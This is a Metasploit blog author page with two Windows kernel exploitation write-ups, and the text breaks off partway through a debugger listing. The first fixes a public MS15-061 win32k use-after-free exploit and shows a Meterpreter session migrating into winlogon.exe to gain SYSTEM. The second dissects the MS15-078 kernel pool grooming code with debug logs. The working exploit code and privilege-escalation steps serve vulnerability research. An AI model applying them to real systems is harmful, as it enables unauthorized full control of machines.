Skip navigation
All Places > Metasploit > Blog > Authors juan.vazquez
1 2 3 Previous Next

Metasploit

38 Posts authored by: juan.vazquez Employee

Recently, the MS15-061 bulletin has received some attention. This security bulletin includes patches for several Windows Kernel vulnerabilities, mainly related to win32k.sys. Details of one of them, discovered by Udi Yavo, have been very well covered.

 

First, the same Udi Yavo published details about the Use After Free on a blog entry. Later, Dominic Wang wrote a even more detailed analysis of both the vulnerability and its exploitation on this paper. Finally, Meysam firozi implemented the exploitation described by Dominic and published it.

 

These last days I have been playing with the published exploit, whose ultimate goal is to nullify the ACL of the winlogon.exe process. We won't cover the details of the vulnerability / exploit again because I don't think I can explain it better than the above references .  This vulnerability is definitely a good introduction to win32k.sys exploitation, and there are a lot of awesome materials to work with.

 

That said, while testing the Meysam's exploit, we have been making improvements here and there. I would like to share the details of the first set of modifications in this blog.

 

To begin testing, I built the published exploit, commented the DebugBreak() calls and "int 3" instructions, and tested it on a Windows 7 SP1 machine with win32k.sys 6.1.7601.18773. Immediately, I got a user space crash and the winlogon's ACL wasn't nullified:

 

crash.png

 

I then attached a user-mode debugger and ran the exploit again. It caught the next crash in the hooked ClientCopyImage callback, while trying to reuse the freed memory:

user_mode_debugger.png

 

An out-of-bounds memory access occurs when trying to compute the address of the HWND handler that will be used to trigger the memory reuse:

 

NtUserDefSetText(Secondhwnd[SecondWindowIndex], &plstr);
 

 

It is notable that a statically-sized array is used to store the window handles used for exploitation:

 

HWND Secondhwnd[50];

 

The first HWND in the array is the one whose tagWND is modified to allow execution from kernel context. The remaining window handlers are to reuse the freed memory on the ClientCopyImage User Mode Callback.

 

Unfortunately, this means which the vulnerability can be triggered only 49 times. Otherwise, more HWND handles are needed. As a brief reminder, the exploitation primitive used here decrements  an arbitrary memory address:

 

.text:BF8D0038 ; __stdcall HMUnlockObject(x)
.text:BF8D0038 _HMUnlockObject@4 proc near             ; CODE XREF: ThreadLockExchangeAlways(x,x)+19 p
.text:BF8D0038                                         ; ThreadLockExchange(x,x)+1D p ...
.text:BF8D0038
.text:BF8D0038 arg_0           = dword ptr  8
.text:BF8D0038
.text:BF8D0038                 mov     edi, edi
.text:BF8D003A                 push    ebp
.text:BF8D003B                 mov     ebp, esp
.text:BF8D003D                 mov     eax, [ebp+arg_0]
.text:BF8D0040                 dec     dword ptr [eax+4] ; Allows to decrement the contents of an arbitrary memory address
.text:BF8D0043                 jnz     short loc_BF8D004B
.text:BF8D0045                 push    eax
.text:BF8D0046                 call    _HMUnlockObjectInternal@4 ; HMUnlockObjectInternal(x)
.text:BF8D004B
.text:BF8D004B loc_BF8D004B:                           ; CODE XREF: HMUnlockObject(x)+B j
.text:BF8D004B                 pop     ebp
.text:BF8D004C                 retn    4
.text:BF8D004C _HMUnlockObject@4 endp
 

 

This decrement occurs every time the use-after-free is exploited in the hooked user-mode callback. This arbitrary memory decrement translates into code execution when it is used to set the "bServerSideWindowProc" bit in the state field of a tagWND object. In the public exploit, the tagWND object is associated with the Secondhwnd[0] window. In this way its window procedure will be executed from kernel context.

 

The "state" field is found at offset 0x14 on the tagWND object:

 

   +0x014 state            : Uint4B
   +0x014 bHasMeun         : Pos 0, 1 Bit
   +0x014 bHasVerticalScrollbar : Pos 1, 1 Bit
   +0x014 bHasHorizontalScrollbar : Pos 2, 1 Bit
   +0x014 bHasCaption      : Pos 3, 1 Bit
   +0x014 bSendSizeMoveMsgs : Pos 4, 1 Bit
   +0x014 bMsgBox          : Pos 5, 1 Bit
   +0x014 bActiveFrame     : Pos 6, 1 Bit
   +0x014 bHasSPB          : Pos 7, 1 Bit
   +0x014 bNoNCPaint       : Pos 8, 1 Bit
   +0x014 bSendEraseBackground : Pos 9, 1 Bit
   +0x014 bEraseBackground : Pos 10, 1 Bit
   +0x014 bSendNCPaint     : Pos 11, 1 Bit
   +0x014 bInternalPaint   : Pos 12, 1 Bit
   +0x014 bUpdateDirty     : Pos 13, 1 Bit
   +0x014 bHiddenPopup     : Pos 14, 1 Bit
   +0x014 bForceMenuDraw   : Pos 15, 1 Bit
   +0x014 bDialogWindow    : Pos 16, 1 Bit
   +0x014 bHasCreatestructName : Pos 17, 1 Bit
   +0x014 bServerSideWindowProc : Pos 18, 1 Bit
   +0x014 bAnsiWindowProc  : Pos 19, 1 Bit
   +0x014 bBeingActivated  : Pos 20, 1 Bit
   +0x014 bHasPalette      : Pos 21, 1 Bit
   +0x014 bPaintNotProcessed : Pos 22, 1 Bit
   +0x014 bSyncPaintPending : Pos 23, 1 Bit
   +0x014 bRecievedQuerySuspendMsg : Pos 24, 1 Bit
   +0x014 bRecievedSuspendMsg : Pos 25, 1 Bit
   +0x014 bToggleTopmost   : Pos 26, 1 Bit
   +0x014 bRedrawIfHung    : Pos 27, 1 Bit
   +0x014 bRedrawFrameIfHung : Pos 28, 1 Bit
   +0x014 bAnsiCreator     : Pos 29, 1 Bit
   +0x014 bMaximizesToMonitor : Pos 30, 1 Bit
   +0x014 bDestroyed       : Pos 31, 1 Bit
 

 

In the published exploit, the desired tagWND kernel address is leaked in the initialization routine, and its state field (kernelHandle + 0x14) is configured as the address to be decremented through a call to the "ArbDecByOne" method:

 

ArbDecByOne((DWORD)kernelHandle + 0x14);

VOID ArbDecByOne(DWORD addr){
  *(DWORD *)(originalCLS + 0x58) = addr - 0x4;
}

void init()
{
     // ....
     /*
     +0x014 bForceMenuDraw   : Pos 15, 1 Bit
     +0x014 bDialogWindow    : Pos 16, 1 Bit
     +0x014 bHasCreatestructName : Pos 17, 1 Bit
     +0x014 bServerSideWindowProc : Pos 18, 1 Bit
     +0x014 bAnsiWindowProc  : Pos 19, 1 Bit
     */
     kernelHandle = GetKernelHandle(Secondhwnd[0]);
     ArbDecByOne((DWORD)kernelHandle + 0x14);  // 
     // ....
}

 

Let's look at a Windows kernel debug session, observing the default "state" value of the tagWND object (before corruption):

 

   +0x014 state            : 0x40020018
   +0x014 bHasMeun         : 0y0
   +0x014 bHasVerticalScrollbar : 0y0
   +0x014 bHasHorizontalScrollbar : 0y0
   +0x014 bHasCaption      : 0y1
   +0x014 bSendSizeMoveMsgs : 0y1
   +0x014 bMsgBox          : 0y0
   +0x014 bActiveFrame     : 0y0
   +0x014 bHasSPB          : 0y0
   +0x014 bNoNCPaint       : 0y0
   +0x014 bSendEraseBackground : 0y0
   +0x014 bEraseBackground : 0y0
   +0x014 bSendNCPaint     : 0y0
   +0x014 bInternalPaint   : 0y0
   +0x014 bUpdateDirty     : 0y0
   +0x014 bHiddenPopup     : 0y0
   +0x014 bForceMenuDraw   : 0y0
   +0x014 bDialogWindow    : 0y0
   +0x014 bHasCreatestructName : 0y1
   +0x014 bServerSideWindowProc : 0y0
   +0x014 bAnsiWindowProc  : 0y0
   +0x014 bBeingActivated  : 0y0
   +0x014 bHasPalette      : 0y0
   +0x014 bPaintNotProcessed : 0y0
   +0x014 bSyncPaintPending : 0y0
   +0x014 bRecievedQuerySuspendMsg : 0y0
   +0x014 bRecievedSuspendMsg : 0y0
   +0x014 bToggleTopmost   : 0y0
   +0x014 bRedrawIfHung    : 0y0
   +0x014 bRedrawFrameIfHung : 0y0
   +0x014 bAnsiCreator     : 0y0
   +0x014 bMaximizesToMonitor : 0y1
   +0x014 bDestroyed       : 0y0
 

 

The value here is 0x40020018. In order to set bServerSideWindowProc to 1 through decrements, "state" need to have the value 0x3fffffff. It means that the vulnerability needs to be triggered 0x20019 times, definitely more than the 49 HWND handles available. This is the cause of the out-of-bounds user mode crash we were experiencing.

 

Fortunately, we can take a shortcut to avoid these problems. Let's see what happens if we target tagWND+0x16 for decrement, instead of tagWND+0x14:

 

kd> dd fea33ad8 + 14 L2
fea33aec  40020018 80000710
kd> dd fea33ad8 + 16 L1
fea33aee  07104002
 

 

Now we just need to trigger the vulnerability three times to set the bServerSideWindowProc bit! Even more interesting, after the three decrements, 0x07104002 will become 0x7103fff. This means nothing outside of the "state" field is modified.

 

That said, we can simplify the original call to ArbDecByOne to become:

 

ArbDecByOne((DWORD)kernelHandle + 0x16); 
 

 

Then we can run the exploit again. This time there are no crashes. After running it, we can check the permissions for the winlogon.exe process (with ProcessExplorer for example). There should not have been any permissions assigned to the object:

winlogon_exploit.png

 

Now we should be able migrate a Meterpreter session, from a non privileged process to the winlogon process, and get a new SYSTEM session back, like this:

 

  • Get a non privileged session in the target

 

msf exploit(handler) > rexploit
[*] Reloading module...
[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...

[*] Sending stage (885806 bytes) to 172.16.158.132
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.132:49174) at 2015-09-24 13:25:45 -0500
meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter > getpid
Current pid: 1268
meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > ps -S winlogon

Process List
============
PID   PPID  Name               Arch  Session  User                          Path
---   ----  ----               ----  -------  ----                          ----
432   380   winlogon.exe       x86   1                                      C:\Windows\system32\winlogon.exe
 

 

  • Run the exploit to nullify the winlogon.exe process ACL

 

  • Migrate successfully to the winlogon.exe process to get a SYSTEM session

 

meterpreter > migrate 432
[*] Migrating from 1268 to 432...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
 

 

Success! The original exploit with the small modifications can be found on this github branch. There are other interesting things to explore with this exploit. Look forward to those in future blog posts!

Last week, an awesome paper about the MS15-078 vulnerability and it's exploitation was published by Cedric Halbronn. This vulnerability, originally found and exploited by Eugene Ching, already has a work-in-progress module in Metasploit, which you can follow on github.

 

I recommend checking all the materials above, not only if you enjoy windows kernel exploitation, but also to better understand this blog. In this post, we will focus on the details of the kernel pool massage used in the exploit. We won't cover other details that  are well explained in the other materials.


First of all, a summary of the kernel pool massage is covered in the Cedric's paper:

The original exploit uses CHwndTargetProp objects to spray the pool. It allocates lots of these objects in the kernel pool and frees one of them in the middle. The idea is to put our vulnerable buffer ClassDef1Buf in this hole so it is before a known object (CHwndTargetProp).

 

This explains what is the target of the pool massage is, but if you look at the implementation, there is code whose purpose is not obvious at all:

 

VOID DoFengShui() {
  HINSTANCE hThisInstance;
  ATOM classAtom;
  WNDCLASSEXA windowClass;
  HWND hWnd;
  HACCEL hAccel;
  LPACCEL lpAccel;
  // Strings needed.
  CHAR winClass[] = { 'w', 'i', 'n', 'c', 'l', 's', '0', '0', '0', '0', 0 };
  CHAR winClassFmt[] = { 'w', 'i', 'n', 'c', 'l', 's', '%', '0', '4', 'x', 0 };
  CHAR winTitle[] = { 'w', 'i', 'n', 't', 'i', 't', '0', '0', '0', '0', 0 };
  CHAR winTitleFmt[] = { 'w', 'i', 'n', 't', 'i', 't', '%', '0', '4', 'x', 0 };

  // Initial setup for pool fengshui.
  lpAccel = (LPACCEL)malloc(sizeof(ACCEL));
  SecureZeroMemory(lpAccel, sizeof(ACCEL));

  // Create many accelerator tables, and store them.
  pAccels = (HACCEL *)VirtualAlloc((LPVOID)(ACCEL_ARRAY_BASE), sizeof(HACCEL)* 5000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  for (INT i = 0; i < 5000; i++) {
    hAccel = CreateAcceleratorTableA(lpAccel, 1);
    pAccels[i] = hAccel;
  }

  // Create window handles, and store them.
  pHwnds = (HWND *)VirtualAlloc((LPVOID)(HWND_ARRAY_BASE), sizeof(HWND)* 1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  hThisInstance = GetModuleHandleA(NULL);
  for (INT i = 0; i < 1000; i++) {
  SecureZeroMemory(&windowClass, sizeof(WNDCLASSEXA));
  wsprintfA(winClass, winClassFmt, i);
  wsprintfA(winTitle, winTitleFmt, i);
  int winTitleWSize = MultiByteToWideChar(CP_UTF8, 0, winTitle, -1, NULL, 0);
  LPWSTR winTitleW = (LPWSTR)malloc(winTitleWSize * 2);
  memset(winTitleW, 0, winTitleWSize * 2);
  MultiByteToWideChar(CP_UTF8, 0, winTitle, -1, winTitleW, winTitleWSize);

  windowClass.cbSize = sizeof(WNDCLASSEXA);
  windowClass.style = CS_HREDRAW | CS_VREDRAW;
  windowClass.lpfnWndProc = (WNDPROC)WndProc;
  windowClass.hInstance = hThisInstance;
  windowClass.hIcon = NULL;
  windowClass.hCursor = NULL;
  windowClass.hbrBackground = (HBRUSH)COLOR_WINDOW;
  windowClass.lpszMenuName = NULL;
  windowClass.lpszClassName = winClass;
  classAtom = RegisterClassExA(&windowClass);
  hWnd = CreateWindowEx(0, MAKEINTATOM(classAtom), winTitleW, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hThisInstance, NULL);

  if (hWnd) {
       pHwnds[i] = hWnd;
    }
    else {
      break;
    }
  }

  // Create holes in the series of accelerator tables.
  for (INT i = 3600; i < 4600; i += 2) {
    DestroyAcceleratorTable(pAccels[i]);
  }

  // Fill the holes with with DCompositionHwndTarget(s).
  // (at this point we have a series of alternating DCompositionHwndTarget objects)
  for (INT i = 0; i < 500; i++) {
    MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4);
  }

  // Create "adjacent" holes (to the previous holes) in the series of
  // accelerator tables.
  for (INT i = 3601; i < 4601; i += 2) {
    DestroyAcceleratorTable(pAccels[i]);
  }

  // Fill the holes with with DCompositionHwndTarget(s).
  // (at this point we have a contiguous series of DCompositionHwndTarget objects)
  for (INT i = 500; i < 1000; i++) {
    MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4);
  }

  // Create some holes in the contiguous series of DCompositionHwndTarget objects,
  // that we insert the vulnerable object into.
  for (INT i = 400; i < 405; i++) {
    MyDestroyDCompositionHwndTarget(pHwnds[i], 0);
  }
}












 

To better understand this, let's walk through a debugging session with the code above, and then answer some questions about the results observed in the debug journey. I hope this will help you to better understand the massage technique used in the original exploit.

 

A debugging session

 

In this section we are going to debug the pool massage, trying to understand better the memory state after every step:

 

  1. Create many accelerator tables.
  2. Create holes in the series of accelerator tables.
  3. Fill the holes with with DCompositionHwndTarget's
  4. Create "adjacent" holes (to the previous holes) in the series of accelerator tables
  5. Fill the holes with with DCompositionHwndTarget(s).
  6. Create some holes in the contiguous series of DCompositionHwndTarget objects
  7. Insert the vulnerable object into one of the holes above (it's not exactly about the massage, but helps to understand everything).


For every step, we will highlight the responsible code snippet, and then review the resulting session paged pool.

 

(1) Create many accelerator tables.

 

  • The code:

 

pAccels = (HACCEL *)VirtualAlloc((LPVOID)(ACCEL_ARRAY_BASE), sizeof(HACCEL)* 5000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
for (INT i = 0; i < 5000; i++) {
  hAccel = CreateAcceleratorTableA(lpAccel, 1);
  pAccels[i] = hAccel;
}











 

  • A summary of the allocations in the session paged pool:

 

kd> !poolused 0x8 Usac
.
Sorting by Session Tag
               NonPaged                  Paged
Tag     Allocs         Used     Allocs         Used
Usac         0            0       5009       321472 USERTAG_ACCEL , Binary: win32k!_CreateAcceleratorTable
TOTAL         0            0       5009       321472











 

  • A detailed view of the allocations:

 

kd> !poolfind Usac 0x4

Scanning large pool allocation table for Tag 'Usac' (ffffe00008aff000 : ffffe00008b05000)

unable to get nt!MmNonPagedPoolStart
unable to get nt!MmSizeOfNonPagedPoolInBytes

Searching SessionPaged pool (fffff90140000000 : fffff9213fffffff) for Tag 'Usac'

*fffff901400bdd30 size:   40 previous size:   50  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff901400bdd70 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff901400bddb0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff901400ec390 size:   40 previous size:   20  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff901401010c0 size:   40 previous size:   c0  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff90140101100 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff9014010f290 size:   80 previous size:  290  (Allocated) Usac Process: 49aad7b3024b1ec2
*fffff901401d8390 size:   40 previous size:   20  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff901401d84e0 size:   40 previous size:   20  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff901401da2a0 size:   40 previous size:   d0  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff901401da2e0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff901401da320 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff901401daf40 size:   40 previous size:   d0  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff901401daf80 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff901401dafc0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2
.
.
.










 

See the complete log here.

 

Every allocation is 0x40 bytes (including the pool header and the alignment). Once defragmentation ends and new pages are allocated, we can observe a pattern in the alignment of the allocations. In the log above:

 

*fffff90144004000 size:   40 previous size:    0  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff90144004040 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff90144004080 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff901440040c0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff90144004100 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff90144004140 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff90144004180 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff901440041c0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff90144004200 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff90144004240 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff90144004280 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2
*fffff901440042c0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2









 

(2) Create holes in the series of accelerator tables.


  • The code:


for (INT i = 3600; i < 4600; i += 2) {
  DestroyAcceleratorTable(pAccels[i]);
}










 

  • A summary of the allocations in the session paged pool, after the deletions.

 

kd> !poolused 0x8 Usac
.
Sorting by Session Tag

               NonPaged                  Paged
Tag     Allocs         Used     Allocs         Used
Usac         0            0       4509       289472 USERTAG_ACCEL , Binary: win32k!_CreateAcceleratorTable
TOTAL         0            0       4509       289472










 

This makes sense, just 500 fewer allocations.


  • A summary of the corresponding ListHead (free list), where the freed chunks can be found:

 

kd> dl ffffd001`8cf85e70 200 2
ffffd001`8cf85e70  fffff901`44058790 fffff901`440968f0
fffff901`44058790  fffff901`44058710 ffffd001`8cf85e70
fffff901`44058710  fffff901`44058690 fffff901`44058790
fffff901`44058690  fffff901`44058610 fffff901`44058710
fffff901`44058610  fffff901`44058590 fffff901`44058690
fffff901`44058590  fffff901`44058510 fffff901`44058610
fffff901`44058510  fffff901`44058490 fffff901`44058590
fffff901`44058490  fffff901`44058410 fffff901`44058510
fffff901`44058410  fffff901`44058390 fffff901`44058490
fffff901`44058390  fffff901`44058310 fffff901`44058410
fffff901`44058310  fffff901`44058290 fffff901`44058390
fffff901`44058290  fffff901`44058210 fffff901`44058310
fffff901`44058210  fffff901`44058190 fffff901`44058290
fffff901`44058190  fffff901`44058110 fffff901`44058210
fffff901`44058110  fffff901`44058090 fffff901`44058190
fffff901`44058090  fffff901`44059010 fffff901`44058110
fffff901`44059010  fffff901`44059f90 fffff901`44058090
fffff901`44059f90  fffff901`44059f10 fffff901`44059010
fffff901`44059f10  fffff901`44059e90 fffff901`44059f90
fffff901`44059e90  fffff901`44059e10 fffff901`44059f10
.
.
.










 

See the complete log here.

 

The ListHead keeps 506 chunks, which makes sense. Subtract 0x10 from the pointers in the ListHead to match the allocations in the session paged pool. Example:

 

AcceleratorTable allocationFreed chunk
*fffff90144058600 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2

fffff901`44058610 fffff901`44058590 fffff901`44058690

*fffff90144058640 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2-
*fffff90144058680 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2

fffff901`44058690 fffff901`44058610 fffff901`44058710

*fffff901440586c0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2-
*fffff90144058700 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2

fffff901`44058710 fffff901`44058690 fffff901`44058790

*fffff90144058740 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2-
*fffff90144058780 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2

fffff901`44058790 fffff901`44058710 ffffd001`8cf85e70

*fffff901440587c0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2-

 

(3) Fill the holes with with DCompositionHwndTarget's

 

  • The code:

 

for (INT i = 0; i < 500; i++) {
  MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4);
}










 

  • A summary of the allocations in the session paged pool:

 

kd> !poolused 0x8  Usdm
.
Sorting by Session Tag

               NonPaged                  Paged
Tag     Allocs         Used     Allocs         Used
Usdm         0            0        503        32192 USERTAG_DCOMPHWNDTARGETINFO , Binary: win32k!CreateDCompositionHwndTa
TOTAL         0            0        503        32192










 

  • A detailed view of the allocations:


kd> !poolfind Usdm 0x4

Scanning large pool allocation table for Tag 'Usdm' (ffffe00008aff000 : ffffe00008b05000)
Searching SessionPaged pool (fffff90140000000 : fffff9213fffffff) for Tag 'Usdm'

*fffff9014073d370 size:   40 previous size:  370  (Allocated) Usdm
*fffff90140791e20 size:   40 previous size:  370  (Allocated) Usdm
*fffff90144049080 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049100 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049180 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049200 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049280 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049300 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049380 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049400 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049480 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049500 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049580 size:   40 previous size:   40  (Allocated) Usdm
*fffff9014404a000 size:   40 previous size:    0  (Allocated) Usdm
*fffff9014404a080 size:   40 previous size:   40  (Allocated) Usdm
*fffff9014404a100 size:   40 previous size:   40  (Allocated) Usdm
*fffff9014404a180 size:   40 previous size:   40  (Allocated) Usdm
*fffff9014404a200 size:   40 previous size:   40  (Allocated) Usdm
.
.
.










 

See the complete log here.

 

We can easily observe a correlation between the freed Accelerator Tables and the allocated DCompositionHwndTarget:

 

Allocated DCompositionHwndTargetFreed AcceleratorTable
*fffff90144049080 size:   40 previous size:   40  (Allocated) Usdmfffff901`44049090  fffff901`4404a010 fffff901`44049110
*fffff90144049100 size:   40 previous size:   40  (Allocated) Usdmfffff901`44049110  fffff901`44049090 fffff901`44049190
*fffff90144049180 size:   40 previous size:   40  (Allocated) Usdmfffff901`44049190  fffff901`44049110 fffff901`44049210
*fffff90144049200 size:   40 previous size:   40  (Allocated) Usdmfffff901`44049210  fffff901`44049190 fffff901`44049290
*fffff90144049280 size:   40 previous size:   40  (Allocated) Usdmfffff901`44049290  fffff901`44049210 fffff901`44049310
*fffff90144049300 size:   40 previous size:   40  (Allocated) Usdmfffff901`44049310  fffff901`44049290 fffff901`44049390

 

  • Indeed the corresponding ListHead has been emptied:

 

kd> dl ffffd001`8cf85e70 200 2
ffffd001`8cf85e70  fffff901`440600b0 fffff901`441220d0
fffff901`440600b0  fffff901`440601c0 ffffd001`8cf85e70
fffff901`440601c0  fffff901`440708f0 fffff901`440600b0
fffff901`440708f0  fffff901`440728f0 fffff901`440601c0
fffff901`440728f0  fffff901`440968f0 fffff901`440708f0
fffff901`440968f0  fffff901`440bc750 fffff901`440728f0
fffff901`440bc750  fffff901`440f30d0 fffff901`440968f0
fffff901`440f30d0  fffff901`4401a9e0 fffff901`440bc750
fffff901`4401a9e0  fffff901`440f7b10 fffff901`440f30d0
fffff901`440f7b10  fffff901`440f9570 fffff901`4401a9e0
fffff901`440f9570  fffff901`440f10b0 fffff901`440f7b10
fffff901`440f10b0  fffff901`440f7770 fffff901`440f9570
fffff901`440f7770  fffff901`441090d0 fffff901`440f10b0
fffff901`441090d0  fffff901`4410e0d0 fffff901`440f7770
fffff901`4410e0d0  fffff901`441130d0 fffff901`441090d0
fffff901`441130d0  fffff901`441150d0 fffff901`4410e0d0
fffff901`441150d0  fffff901`441170d0 fffff901`441130d0
fffff901`441170d0  fffff901`441180d0 fffff901`441150d0
fffff901`441180d0  fffff901`441190d0 fffff901`441170d0
fffff901`441190d0  fffff901`4411a0d0 fffff901`441180d0
fffff901`4411a0d0  fffff901`4411b0d0 fffff901`441190d0
fffff901`4411b0d0  fffff901`4411c0d0 fffff901`4411a0d0
fffff901`4411c0d0  fffff901`4411d0d0 fffff901`4411b0d0
fffff901`4411d0d0  fffff901`4411e0d0 fffff901`4411c0d0
fffff901`4411e0d0  fffff901`4411f0d0 fffff901`4411d0d0
fffff901`4411f0d0  fffff901`441200d0 fffff901`4411e0d0
fffff901`441200d0  fffff901`441210d0 fffff901`4411f0d0
fffff901`441210d0  fffff901`441220d0 fffff901`441200d0
fffff901`441220d0  ffffd001`8cf85e70 fffff901`441210d0










 

(4) Create "adjacent" holes (to the previous holes) in the series of accelerator tables.

 

  • The code:

 

for (INT i = 3601; i < 4601; i += 2) {
  DestroyAcceleratorTable(pAccels[i]);
}










  • The ListHead after the deletion of the AcceleratorTable's


kd> dl ffffd001`8cf85e70 200 2
ffffd001`8cf85e70  fffff901`44058950 fffff901`44116e90
fffff901`44058950  fffff901`440588d0 ffffd001`8cf85e70
fffff901`440588d0  fffff901`44058850 fffff901`44058950
fffff901`44058850  fffff901`440587d0 fffff901`440588d0
fffff901`440587d0  fffff901`44058750 fffff901`44058850
fffff901`44058750  fffff901`440586d0 fffff901`440587d0
fffff901`440586d0  fffff901`44058650 fffff901`44058750
fffff901`44058650  fffff901`440585d0 fffff901`440586d0
fffff901`440585d0  fffff901`44058550 fffff901`44058650
fffff901`44058550  fffff901`440584d0 fffff901`440585d0
fffff901`440584d0  fffff901`44058450 fffff901`44058550
fffff901`44058450  fffff901`440583d0 fffff901`440584d0
fffff901`440583d0  fffff901`44058350 fffff901`44058450
fffff901`44058350  fffff901`440582d0 fffff901`440583d0
fffff901`440582d0  fffff901`44058250 fffff901`44058350
fffff901`44058250  fffff901`440581d0 fffff901`440582d0
fffff901`440581d0  fffff901`44058150 fffff901`44058250
fffff901`44058150  fffff901`440580d0 fffff901`440581d0
fffff901`440580d0  fffff901`44058050 fffff901`44058150
fffff901`44058050  fffff901`44059fd0 fffff901`440580d0
fffff901`44059fd0  fffff901`44059f50 fffff901`44058050
fffff901`44059f50  fffff901`44059ed0 fffff901`44059fd0










 

The (mostly) complete log here.

 

Again, we can easily find a correlation between the freed chunks and the initial allocation of Accelerator Tables:

 

AcceleratorTable allocationFreed Chunk
fffff90144058940 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2fffff901`44058950  fffff901`440588d0 ffffd001`8cf85e70
fffff901440589c0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2fffff901`440588d0  fffff901`44058850 fffff901`44058950
fffff90144058a40 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2fffff901`44058850  fffff901`440587d0 fffff901`440588d0
fffff90144058ac0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2fffff901`440587d0  fffff901`44058750 fffff901`44058850

 

(5) Fill the holes with with DCompositionHwndTarget(s).

 

  • The code:

 

for (INT i = 500; i < 1000; i++) {
  MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4);
}










 

  • The list of the DCompositionHwndTarget allocations:

 

kd> !poolfind Usdm 0x4

Scanning large pool allocation table for Tag 'Usdm' (ffffe00008aff000 : ffffe00008b05000)
Searching SessionPaged pool (fffff90140000000 : fffff9213fffffff) for Tag 'Usdm'

*fffff9014065c9f0 size:   40 previous size:  9f0  (Allocated) Usdm
*fffff90140668940 size:   40 previous size:  670  (Allocated) Usdm
*fffff9014073d370 size:   40 previous size:  370  (Allocated) Usdm
*fffff9014078b1c0 size:   40 previous size:  1c0  (Allocated) Usdm
*fffff90140791e20 size:   40 previous size:  370  (Allocated) Usdm
*fffff90144049080 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049100 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049180 size:   40 previous size:   40  (Allocated) Usdm
*fffff901440491c0 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049200 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049240 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049280 size:   40 previous size:   40  (Allocated) Usdm
*fffff901440492c0 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049300 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049340 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049380 size:   40 previous size:   40  (Allocated) Usdm
